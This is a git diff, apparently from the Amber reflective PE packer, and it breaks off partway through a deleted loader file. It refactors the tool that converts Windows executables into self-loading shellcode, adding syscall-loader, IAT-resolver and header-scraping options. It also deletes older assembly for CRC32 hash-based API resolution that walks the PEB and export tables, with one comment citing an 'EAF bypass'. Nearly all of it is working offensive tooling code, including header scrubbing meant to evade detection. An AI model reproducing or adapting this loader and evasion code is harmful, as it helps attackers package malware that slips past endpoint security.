utils.PrintStatus("Switching to fixed address loader...\n") + } + + payload, err := pe.AssembleLoader() + if err != nil { + utils.PrintFatal(err) } - spinr.Suffix = " Assembling reflective payload..." - payload, err := bp.AssemblePayload() - eror(err) if encoder.EncodingCount > 0 { + spinr.Start() spinr.Suffix = " Encoding reflective payload..." - encoder.SetArchitecture(bp.Architecture) + encoder.SetArchitecture(pe.Architecture) payload, err = encoder.Encode(payload) - eror(err) + if err != nil { + utils.PrintFatal(err) + } + spinr.Stop() } - if !bp.BuildStub { - bp.FullFileName += ".bin" - } else { - // Construct EXE stub - spinr.Suffix = " Building EXE stub..." - payload, err = bp.CompileStub(payload) - eror(err) - bp.FullFileName = strings.ReplaceAll(bp.FullFileName, filepath.Ext(bp.FullFileName), "_packed.exe") + outFile, err := os.Create(cfg.OutputFile) + if err != nil { + utils.PrintFatal(err) } - spinr.Stop() - outFile, err := os.Create(bp.FullFileName) - eror(err) + outFile.Write(payload) defer outFile.Close() - finSize, err := amber.GetFileSize(bp.FullFileName) - eror(err) - status("Final Size: %d bytes\n", finSize) - status("Build File: %s\n", bp.FileName) - green.Println("[✔] Reflective PE generated !") - + finSize, err := utils.GetFileSize(cfg.OutputFile) + if err != nil { + utils.PrintFatal(err) + } + utils.PrintStatus("Final Size: %d bytes\n", finSize) + utils.PrintStatus("Output File: %s\n", cfg.OutputFile) + utils.PrintGreen("[✔] Reflective PE generated !\n") } // BANNER . @@ -98,48 +89,9 @@ const BANNER string = ` ` -func banner() { +func printBanner() { green := color.New(color.FgGreen).Add(color.Bold) red := color.New(color.FgRed).Add(color.Bold) blue := color.New(color.FgBlue).Add(color.Bold) - red.Printf(BANNER, green.Sprintf("v%s", amber.VERSION), blue.Sprintf("https://github.com/egebalci/amber")) -} - -func status(formatstr string, a ...interface{}) { - if spinr.Active() { - spinr.Stop() - } - yellow := color.New(color.FgYellow).Add(color.Bold) - yellow.Print("[*] ") - fmt.Printf(formatstr, a...) - spinr.Start() -} - -func statusBad(formatstr string, a ...interface{}) { - if spinr.Active() { - spinr.Stop() - } - red := color.New(color.FgRed).Add(color.Bold) - white := color.New(color.FgWhite).Add(color.Bold) - red.Print("[!] ") - white.Printf(formatstr, a...) - spinr.Start() -} - -func eror(err error) { - if err != nil { - if spinr.Active() { - spinr.Stop() - } - red := color.New(color.FgRed).Add(color.Bold) - pc, _, _, ok := runtime.Caller(1) - details := runtime.FuncForPC(pc) - if ok && details != nil { - red.Print("[x] ") - log.Fatalf("%s: %s\n", strings.ToUpper(strings.Split(details.Name(), ".")[1]), err) - } else { - red.Print("[x] ") - log.Fatal(err) - } - } + red.Printf(BANNER, green.Sprintf("v%s", config.Version), blue.Sprintf("https://github.com/egebalci/amber")) } diff --git a/pkg/amber.go b/pkg/amber.go index edabd4e..adfae25 100644 --- a/pkg/amber.go +++ b/pkg/amber.go @@ -1,27 +1,37 @@ package amber import ( + "bytes" + "encoding/binary" + "errors" + "path/filepath" + + "github.com/EgeBalci/amber/utils" pe "github.com/EgeBalci/debug/pe" +) - "github.com/EgeBalci/keystone-go" +const ( + PE_DOS_STUB = "This program cannot be run in DOS mode" ) -// VERSION number -const VERSION = "3.1.0" +var ( + ErrUnsupportedArch = errors.New("unsupported PE file architecture") + ErrInvalidPeSpecs = errors.New("unsupported PE file specs") + ErrInvalidPeHeaders = errors.New("invalid PE headers") +) // Blueprint structure contains PE specs, tool parameters and // OS spesific info -type Blueprint struct { - // Parameters... - FileName string - FullFileName string +type PE struct { + Name string + FullName string FileSize int IAT bool Resource bool IgnoreIntegrity bool - BuildStub bool - CustomStubName string - CustomStub []byte + IatResolver bool + SyscallLoader bool + ScrapeHeaders bool // PE specs... Architecture int SizeOfImage uint32 @@ -43,31 +53,154 @@ type Blueprint struct { file *pe.File } -// Assemble assembles the given instruction assembly code -func (bp *Blueprint) Assemble(asm string) ([]byte, bool) { - var mode keystone.Mode - switch bp.Architecture { +func Open(fileName string) (bp *PE, err error) { + bp = new(PE) + bp.Name = fileName + bp.FullName, err = filepath.Abs(fileName) + if err != nil { + return + } + + bp.file, err = pe.Open(bp.FullName) + if err != nil { + return + } + + switch bp.file.FileHeader.Machine { + case pe.IMAGE_FILE_MACHINE_I386: + bp.Architecture = 32 + case pe.IMAGE_FILE_MACHINE_AMD64: + bp.Architecture = 64 + default: + return nil, ErrUnsupportedArch + } + + // Fetch OptionalHeader values to blueprint + switch hdr := (bp.file.OptionalHeader).(type) { + case *pe.OptionalHeader32: + // cast those back to a uint32 before use in 32bit + bp.ImageBase = uint64(hdr.ImageBase) + bp.Subsystem = hdr.Subsystem + bp.SizeOfImage = hdr.SizeOfImage + + bp.IsDLL = bp.file.Characteristics == (bp.file.Characteristics | pe.IMAGE_FILE_DLL) + bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 + bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 + bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 + bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 + + bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) + bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) + case *pe.OptionalHeader64: + bp.ImageBase = hdr.ImageBase + bp.Subsystem = hdr.Subsystem + bp.SizeOfImage = hdr.SizeOfImage + + bp.IsDLL = bp.file.Characteristics == (bp.file.Characteristics | pe.IMAGE_FILE_DLL) + bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 + bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 + bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 + bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 + + bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) + bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) + bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) + } + + bp.FileSize, err = utils.GetFileSize(bp.FullName) + return +} + +// AssemblePayload generates the binary stub bla bla... +func (pe *PE) AssembleLoader() ([]byte, error) { + + var ( + rawFile = pe.file.RawBytes + err error + ) + + if pe.ScrapeHeaders { + rawFile, err = pe.ScrapePeHeaders() + if err != nil { + return nil, err + } + } + + // Add a call over the given binary + payload, err := pe.AddCallOver(rawFile) + if err != nil { + return nil, err + } + + // Decide on the architecture, API block, and loader types... + // we have 3 pre-assembled loaders for public version of amber. + switch pe.Architecture { case 32: - mode = keystone.MODE_32 + if pe.SyscallLoader { + return nil, errors.New("syscall loader only supports 64 bit PE files") + } + payload = append(payload, LOADER_32...) case 64: - mode = keystone.MODE_64 + if pe.SyscallLoader { + payload = append(payload, SYSCALL_LOADER_64...) + } else { + payload = append(payload, LOADER_64...) + } + default: - return nil, false + return nil, ErrUnsupportedArch } - ks, err := keystone.New(keystone.ARCH_X86, mode) + if pe.IatResolver { + if pe.SyscallLoader { + return nil, errors.New("cannot use IAT resolver with syscall loader") + } + switch pe.Architecture { + case 32: + payload = bytes.ReplaceAll(payload, CRC_API_32, IAT_API_32) + case 64: + payload = bytes.ReplaceAll(payload, CRC_API_64, IAT_API_64) + } + } + + return payload, nil +} + +// AddCallOver function adds a call instruction at the beginning of the given payload +// address of the payload will be pushed to the stack and execution will continue after the end of payload +func (pe *PE) AddCallOver(payload []byte) ([]byte, error) { + // // Perform a short call over the payload + size := uint32(len(payload)) + buf := new(bytes.Buffer) + err := binary.Write(buf, binary.LittleEndian, size) if err != nil { - return nil, false + return nil, err } - defer ks.Close() + return append(append([]byte{0xe8}, buf.Bytes()...), payload...), nil +} - //err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL) - err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_NASM) +func (pe *PE) ScrapePeHeaders() ([]byte, error) { + rawFile, err := pe.file.Bytes() if err != nil { - return nil, false + return nil, err + } + + // Scrape MZ magic bytes... + if rawFile[0] == 'M' && + rawFile[1] == 'Z' { + rawFile[0] = 0x00 + rawFile[1] = 0x00 + } else { + return nil, ErrInvalidPeHeaders + } + + // Scrape the DOS stub message... + if bytes.Contains(rawFile, []byte(PE_DOS_STUB)) { + return nil, ErrInvalidPeHeaders } - //log.Println(asm) - bin, _, ok := ks.Assemble(asm, 0) - return bin, ok + return bytes.Replace(rawFile, []byte(PE_DOS_STUB), make([]byte, len(PE_DOS_STUB)), 1), nil } diff --git a/pkg/analyze.go b/pkg/analyze.go deleted file mode 100644 index edf29d7..0000000 --- a/pkg/analyze.go +++ /dev/null @@ -1,114 +0,0 @@ -package amber - -import ( - "errors" - "io/ioutil" - "path/filepath" - - pe "github.com/EgeBalci/debug/pe" -) - -// Analyze returns a Blueprint structure for the given PE file name -func (bp *Blueprint) Analyze() error { - - abs, err := filepath.Abs(bp.FileName) - if err != nil { - return err - } - // Set absolute file name - bp.FullFileName = abs - - peFile, err := pe.Open(bp.FullFileName) - if err != nil { - return err - } - bp.file = peFile - - arch, err := getPEfileArchitecture(bp.FullFileName) - if err != nil { - return err - } - bp.Architecture = arch - - if bp.CustomStubName != "" { - arch, err := getPEfileArchitecture(bp.CustomStubName) - if err != nil { - return err - } - if arch != bp.Architecture { - return errors.New("custom stub architecture mismatch") - } - - stub, err := ioutil.ReadFile(bp.CustomStubName) - if err != nil { - return err - } - - bp.CustomStub = stub - } else { - bp.CustomStub = nil - } - - // Fetch OptionalHeader values to blueprint - switch hdr := (peFile.OptionalHeader).(type) { - case *pe.OptionalHeader32: - // cast those back to a uint32 before use in 32bit - bp.ImageBase = uint64(hdr.ImageBase) - bp.Subsystem = hdr.Subsystem - bp.SizeOfImage = hdr.SizeOfImage - - bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL) - bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 - bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 - bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 - bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 - - bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) - bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) - break - case *pe.OptionalHeader64: - bp.ImageBase = hdr.ImageBase - bp.Subsystem = hdr.Subsystem - bp.SizeOfImage = hdr.SizeOfImage - - bp.IsDLL = peFile.Characteristics == (peFile.Characteristics | pe.IMAGE_FILE_DLL) - bp.HasRelocData = hdr.DataDirectory[5].Size != 0x00 - bp.HasBoundedImports = hdr.DataDirectory[11].Size != 0x00 - bp.HasDelayedImports = hdr.DataDirectory[13].Size != 0x00 - bp.IsCLR = hdr.DataDirectory[14].Size != 0x00 - - bp.ExportTable = uint64(hdr.DataDirectory[0].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportTable = uint64(hdr.DataDirectory[1].VirtualAddress + uint32(hdr.ImageBase)) - bp.RelocTable = uint64(hdr.DataDirectory[5].VirtualAddress + uint32(hdr.ImageBase)) - bp.ImportAdressTable = uint64(hdr.DataDirectory[12].VirtualAddress + uint32(hdr.ImageBase)) - break - } - - // Check for TLS callbacks !!! - - fileSize, err := GetFileSize(bp.FullFileName) - if err != nil { - return err - } - bp.FileSize = fileSize - - return nil -} - -func getPEfileArchitecture(fileName string) (int, error) { - file, err := pe.Open(fileName) - if err != nil { - return 0, err - } - - switch file.FileHeader.Machine { - case pe.IMAGE_FILE_MACHINE_I386: - return 32, nil - case pe.IMAGE_FILE_MACHINE_AMD64: - return 64, nil - default: - return 0, errors.New("unsupported PE file architecture") - } -} diff --git a/pkg/assemble.go b/pkg/assemble.go deleted file mode 100644 index a5d341d..0000000 --- a/pkg/assemble.go +++ /dev/null @@ -1,144 +0,0 @@ -package amber - -import ( - "errors" - "fmt" - "strings" -) - -// AssemblePayload generates the binary stub bla bla... -func (bp *Blueprint) AssemblePayload() ([]byte, error) { - peMap, err := bp.file.CreateMemoryMapping() - if err != nil { - return nil, err - } - - err = bp.file.PerformIntegrityChecks(peMap) - if err != nil && !bp.IgnoreIntegrity { - return nil, err - } - - payload, err := bp.AddCallOver(peMap) - if err != nil { - return nil, err - } - - stub, err := bp.GetLoaderAssembly() - if err != nil { - return nil, err - } - - stub = strings.ReplaceAll(stub, ";", "\n;") - stub = strings.ReplaceAll(stub, "$+", "") - stubBin, ok := bp.Assemble(stub) - if !ok { - bp.printFaultingLine(stub) - return nil, errors.New("core loader stub assembly failed") - } - - return append(payload, stubBin...), nil -} - -// GetLoaderAssembly returns the corresponding PE loader assembly code -// based on the given blueprint strunct -func (bp *Blueprint) GetLoaderAssembly() (string, error) { - var stub, dllPrologue string - - if bp.IsDLL { - switch bp.Architecture { - case 64: - dllPrologue = ` - mov rcx,r13 ; hinstDLL - mov rdx,0x01 ; fdwReason - xor r8,r8 ; lpReserved - - ` - case 32: - dllPrologue = ` - push edi ; AOE - sub [esp],eax ; hinstDLL - push 0x01 ; fdwReason - push 0x00 ; lpReserved - - ` - default: - return "", errors.New("invalid architecture selected") - } - } else { - dllPrologue = "" - } - - api, err := bp.GetAPIResolverBlockAssembly() - if err != nil { - return "", err - } - - switch bp.Architecture { - case 32: - - if bp.HasRelocData { - stub = LoaderX86 - } else { - stub = FixedLoaderX86 - } - case 64: - - if bp.HasRelocData { - stub = LoaderX64 - } else { - stub = FixedLoaderX64 - } - default: - return "", errors.New("invalid architecture selected") - } - - return fmt.Sprintf(stub, api, dllPrologue), nil - -} - -// GetAPIResolverBlockAssembly returns the corresponding API resolver block assembly code -// based on the given blueprint strunct -func (bp *Blueprint) GetAPIResolverBlockAssembly() (string, error) { - switch bp.Architecture { - case 32: - - if bp.IAT { - return IAT32, nil - } - return CRC32, nil - - case 64: - - if bp.IAT { - return IAT64, nil - } - return CRC64, nil - default: - return "", errors.New("invalid architecture selected") - } -} - -// AddCallOver function adds a call instruction over the end of the given payload -// address of the payload will be pushed to the stack and execution will continiou after the end of payload -func (bp *Blueprint) AddCallOver(payload []byte) ([]byte, error) { - - // Perform a shport call over the payload - call := fmt.Sprintf("call 0x%x", len(payload)+5) - callBin, ok := bp.Assemble(call) - if !ok { - return nil, errors.New("call-over assembly failed") - } - payload = append(callBin, payload...) - - return payload, nil -} - -func (bp *Blueprint) printFaultingLine(code string) { - - for i, line := range strings.Split(string(code), "\n") { - if _, ok := bp.Assemble(line); !ok && !strings.Contains(line, "call") { - fmt.Printf("%d: %s\n", i, line) - } - } - -} diff --git a/pkg/common.go b/pkg/common.go deleted file mode 100644 index 903b312..0000000 --- a/pkg/common.go +++ /dev/null @@ -1,30 +0,0 @@ -package amber - -import ( - "math/rand" - "os" -) - -// randomString - generates random string of given length -func randomString(length int) string { - const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" - random := make([]byte, length) - for i := 0; i < length; i++ { - random[i] = charset[rand.Intn(len(charset))] - } - return string(random) -} - -// GetFileSize retrieves the size of the file with given file path -func GetFileSize(filePath string) (int, error) { - file, err := os.Open(filePath) - if err != nil { - return 0, err - } - defer file.Close() - stat, err := file.Stat() - if err != nil { - return 0, err - } - return int(stat.Size()), nil -} diff --git a/pkg/compile.go b/pkg/compile.go deleted file mode 100644 index fa02267..0000000 --- a/pkg/compile.go +++ /dev/null @@ -1,201 +0,0 @@ -package amber - -import ( - "bytes" - "encoding/base64" - "encoding/binary" - "errors" - "fmt" - "io" - "io/ioutil" - "os" - "strings" - - pe "github.com/EgeBalci/debug/pe" -) - -// CompileStub generates the final stub file with given payload -func (bp *Blueprint) CompileStub(payload []byte) ([]byte, error) { - - tmpStub, err := ioutil.TempFile(os.TempDir(), "amber_") - if err != nil { - return nil, err - } - defer os.Remove(tmpStub.Name()) - stub := []byte{} - - if bp.CustomStub != nil { - stub = bp.CustomStub - } else { - switch bp.Architecture { - case 32: - stub, err = base64.StdEncoding.DecodeString(STUB32) - case 64: - stub, err = base64.StdEncoding.DecodeString(STUB64) - } - } - - if bp.IAT && !bp.checkRequiredIATFuncs(stub) { - return nil, errors.New("selected stub does not support IAT resolver API") - } - - tmpStub.Write(stub) - tmpStubPE, err := pe.Open(tmpStub.Name()) - if err != nil { - return nil, err - } - - var sizeOfImage, fileAlignment uint32 - lastSection := tmpStubPE.Sections[tmpStubPE.NumberOfSections-1] - - switch tmpStubPE.FileHeader.Machine { - case pe.IMAGE_FILE_MACHINE_I386: - hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader32) - sizeOfImage = hdr.SizeOfImage - fileAlignment = hdr.FileAlignment - break - case pe.IMAGE_FILE_MACHINE_AMD64: - hdr := tmpStubPE.OptionalHeader.(*pe.OptionalHeader64) - sizeOfImage = hdr.SizeOfImage - fileAlignment = hdr.FileAlignment - break - } - - // Edit the pre-compiled EXE stub header values by replacing raw bytes - - // Change Subsystem - stub, err = setSubsystem(stub, bp.Subsystem) - if err != nil { - return nil, err - } - - // Change SizeOfImage - stub, err = setSizeOfImage(stub, bp.SizeOfImage+sizeOfImage) - if err != nil { - return nil, err - } - - // Randomize last section name - lastSectionOffset := bytes.Index(stub, []byte(lastSection.Name)) - newSectionName := "." + randomString(7) // Randomize the section name - stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], []byte(lastSection.Name), []byte(newSectionName), 1)...) - oldBytes := make([]byte, 4) - newBytes := make([]byte, 4) - - // Change SectionVirtualSize - binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.VirtualSize)) - binary.LittleEndian.PutUint32(newBytes, uint32(len(payload))) - stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...) - // Change SectionRawSize - binary.LittleEndian.PutUint32(oldBytes, uint32(lastSection.Size)) - binary.LittleEndian.PutUint32(newBytes, align(uint32(len(payload)), fileAlignment)) - stub = append(stub[:lastSectionOffset], bytes.Replace(stub[lastSectionOffset:], oldBytes, newBytes, 1)...) - - // Align section size - eofTamper := make([]byte, align(uint32(len(payload)), fileAlignment)-uint32(len(payload))) - for i := range eofTamper { - eofTamper[i] = 0x00 - } - payload = append(payload, eofTamper...) - - // Replace the section data with the reflective payload - oldSectionData, err := lastSection.Data() - if err != nil { - return nil, err - } - stub = bytes.Replace(stub, oldSectionData, payload, 1) - - return stub, nil -} - -func align(size, align uint32) uint32 { - if 0 == (size % align) { - return size - } - return size + (align - (size % align)) -} - -func (bp *Blueprint) checkRequiredIATFuncs(stub []byte) bool { - - if !strings.Contains(string(stub), "LoadLibrary") || !strings.Contains(string(stub), "GetProcAddress") { - return false - } - - if bp.HasRelocData { - if !strings.Contains(string(stub), "VirtualAlloc") { - return false - } - } else { - if !strings.Contains(string(stub), "VirtualProtect") { - return false - } - } - - if bp.Architecture == 64 { - if !strings.Contains(string(stub), "FlushInstructionCache") { - return false - } - } - - return true -} - -// Change the SubSystem header value of given raw PE file with newSubSystem -func setSubsystem(peFile []byte, newSubSystem uint16) ([]byte, error) { - ntHeaderOffset, err := getNtHeaderOffset(peFile) - if err != nil { - return nil, err - } - subSystemBytes := make([]byte, 2) - binary.LittleEndian.PutUint16(subSystemBytes, newSubSystem) - return append(append(peFile[:ntHeaderOffset+0x5c], subSystemBytes...), peFile[ntHeaderOffset+0x5e:]...), nil -} - -// Change the SizeOfImage header value of given raw PE file with newSizeOfImage -func setSizeOfImage(peFile []byte, newSizeOfImage uint32) ([]byte, error) { - ntHeaderOffset, err := getNtHeaderOffset(peFile) - if err != nil { - return nil, err - } - sizeOfImageBytes := make([]byte, 4) - binary.LittleEndian.PutUint32(sizeOfImageBytes, newSizeOfImage) - return append(append(peFile[:ntHeaderOffset+0x50], sizeOfImageBytes...), peFile[ntHeaderOffset+0x54:]...), nil -} - -// Change the ImageBase header value of given raw PE file with newImageBase -func setImageBase(peFile []byte, newImageBase uint64) ([]byte, error) { - r := bytes.NewReader(peFile) - f := new(pe.File) - sr := io.NewSectionReader(r, 0, 1<<63-1) - - ntHeaderOffset, err := getNtHeaderOffset(peFile) - if err != nil { - return nil, err - } - - sr.Seek(int64(ntHeaderOffset+4), 0) - if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil { - return nil, err - } - switch f.FileHeader.Machine { - case pe.IMAGE_FILE_MACHINE_I386: - imageBaseBytes := make([]byte, 4) - binary.LittleEndian.PutUint32(imageBaseBytes, uint32(newImageBase)) - return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x34:]...), nil - case pe.IMAGE_FILE_MACHINE_AMD64: - imageBaseBytes := make([]byte, 8) - binary.LittleEndian.PutUint64(imageBaseBytes, newImageBase) - return append(append(peFile[:ntHeaderOffset+0x30], imageBaseBytes...), peFile[ntHeaderOffset+0x38:]...), nil - default: - return nil, fmt.Errorf("unsupported COFF file header machine value of 0x%x", f.FileHeader.Machine) - } -} - -// Get the NT_IMAGE_HEADER offset of the given raw PE file -func getNtHeaderOffset(peFile []byte) (uint32, error) { - ntHeaderOffset := binary.LittleEndian.Uint32(peFile[0x3c:0x40]) - if !(peFile[ntHeaderOffset] == 'P' && peFile[ntHeaderOffset+1] == 'E' && peFile[ntHeaderOffset+2] == 0 && peFile[ntHeaderOffset+3] == 0) { - return 0, fmt.Errorf("invalid PE COFF file signature of %v", ntHeaderOffset) - } - return ntHeaderOffset, nil -} diff --git a/pkg/crc_api_x64.go b/pkg/crc_api_x64.go deleted file mode 100644 index 09196b1..0000000 --- a/pkg/crc_api_x64.go +++ /dev/null @@ -1,97 +0,0 @@ -package amber - -// CRC64 https://github.com/EgeBalci/CRC32_API -const CRC64 = ` - -api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx, rdx ; Zero rdx - mov rdx, gs:[rdx+0x60] ; Get a pointer to the PEB - mov rdx, [rdx+0x18] ; Get PEB->Ldr - mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+0x4A]; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name -loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - crc32 r9d,al ; Calculate CRC3 - loop loop_modname ; Loop untill we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to itterate the export address table, - mov rdx, [rdx+0x20] ; Get this modules base address - mov eax, dword [rdx+0x3C]; Get PE header - add rax, rdx ; Add the modules base address - cmp word [rax+0x18],0x020B ; is this module actually a PE64 executable? - ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and - ; their may be a PE32 module present in the PEB's module list, (typicaly the main module). - ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48]) - jne get_next_mod1 ; if not, proceed to the next module - mov eax, dword [rax+0x88] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+0x18]; Get the number of function names - mov r8d, dword [rax+0x20]; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash -get_next_func: ; - jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - mov r9, [rsp+8] ; Reset the current module hash - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - ; And compare it to the one we want -loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - crc32 r9d,al ; Calculate CRC32 - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+0x24]; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+0x1C]; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... -finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; Pop off the return address - sub rsp, 0x20 ; Reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; Push back the return address - jmp rax ; Jump to required function - ; We now automagically return to the correct caller... -get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module - -` diff --git a/pkg/crc_api_x86.go b/pkg/crc_api_x86.go deleted file mode 100644 index fa9e24f..0000000 --- a/pkg/crc_api_x86.go +++ /dev/null @@ -1,89 +0,0 @@ -package amber - -// CRC32 https://github.com/EgeBalci/CRC32_API -const CRC32 = ` - -api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx, fs:[eax+0x30] ; Get a pointer to the PEB - mov edx, [edx+0xC] ; Get PEB->Ldr - mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list -next_mod: ; - mov esi, [edx+0x28] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name -loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase -not_lowercase: ; - crc32 edi,al ; Calculate CRC32 value - loop loop_modname ; Loop until we have read enough - - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, - mov edx, [edx+0x10] ; Get this modules base address - mov ecx, [edx+0x3C] ; Get PE header - - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [ecx+edx+0x78] ; Get the EAT from the PE header - jecxz get_next_mod1 ; If no EAT present, process the next module - add ecx, edx ; Add the modules base address - push ecx ; Save the current modules EAT - mov ebx, [ecx+0x20] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - mov ecx, [ecx+0x18] ; Get the number of function names - ; now ecx returns to its regularly scheduled counter duties - - ; Computing the module hash + function hash -get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - mov edi, [ebp-8] ; Reset the current module hash - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - ; And compare it to the one we want -loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - crc32 edi,al ; Calculate CRC32 - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - cmp edi, [ebp+0x24] ; Compare the hash to the one we are searching for - jnz get_next_func ; Go compute the next function hash if we have not found it - - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+0x24] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+0x1C] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... -finish: - mov [esp+0x24], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the origional return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Puh back the return address - jmp eax ; Properly call the required function for EAF bypass - ret - ; We now automagically return to the correct caller... - -get_next_mod: ; - pop edi ; Pop off the current (now the previous) modules EAT -get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp next_mod ; Process this module - -` diff --git a/pkg/fixed_loader_x64.go b/pkg/fixed_loader_x64.go deleted file mode 100644 index 804a00f..0000000 --- a/pkg/fixed_loader_x64.go +++ /dev/null @@ -1,112 +0,0 @@ -package amber - -// FixedLoaderX64 contains the 64 bit PE loader for non-relocatable 